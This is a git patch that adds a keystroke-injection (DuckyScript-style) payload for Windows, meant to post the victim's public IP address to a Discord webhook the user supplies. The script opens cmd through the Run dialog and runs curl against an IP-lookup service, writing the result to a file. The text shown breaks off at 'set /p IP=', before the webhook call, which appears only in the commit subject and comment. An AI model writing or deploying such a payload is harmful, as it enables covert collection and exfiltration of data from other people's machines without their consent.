From b124549e75bb3b2960f9aaa78dd81d4f3529d92f Mon Sep 17 00:00:00 2001 From: rintyuu Date: Fri, 5 Apr 2024 21:54:28 -0700 Subject: [PATCH] windows: post curl ip to discord webhook --- pull-ip-discord.txt | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 pull-ip-discord.txt diff --git a/pull-ip-discord.txt b/pull-ip-discord.txt new file mode 100644 index 0000000..c577212 --- /dev/null +++ b/pull-ip-discord.txt @@ -0,0 +1,15 @@ +REM replace "YOUR_DISCORD_WEBHOOK_URL" in line 13 to your own discord webhook. to be run on windows systems. +DELAY 1000 +GUI r +DELAY 500 +STRING cmd +DELAY 500 +ENTER +DELAY 1000 +STRING curl ipv4.icanhazip.com > temp.txt +DELAY 500 +ENTER +DELAY 1000 +STRING set /p IP=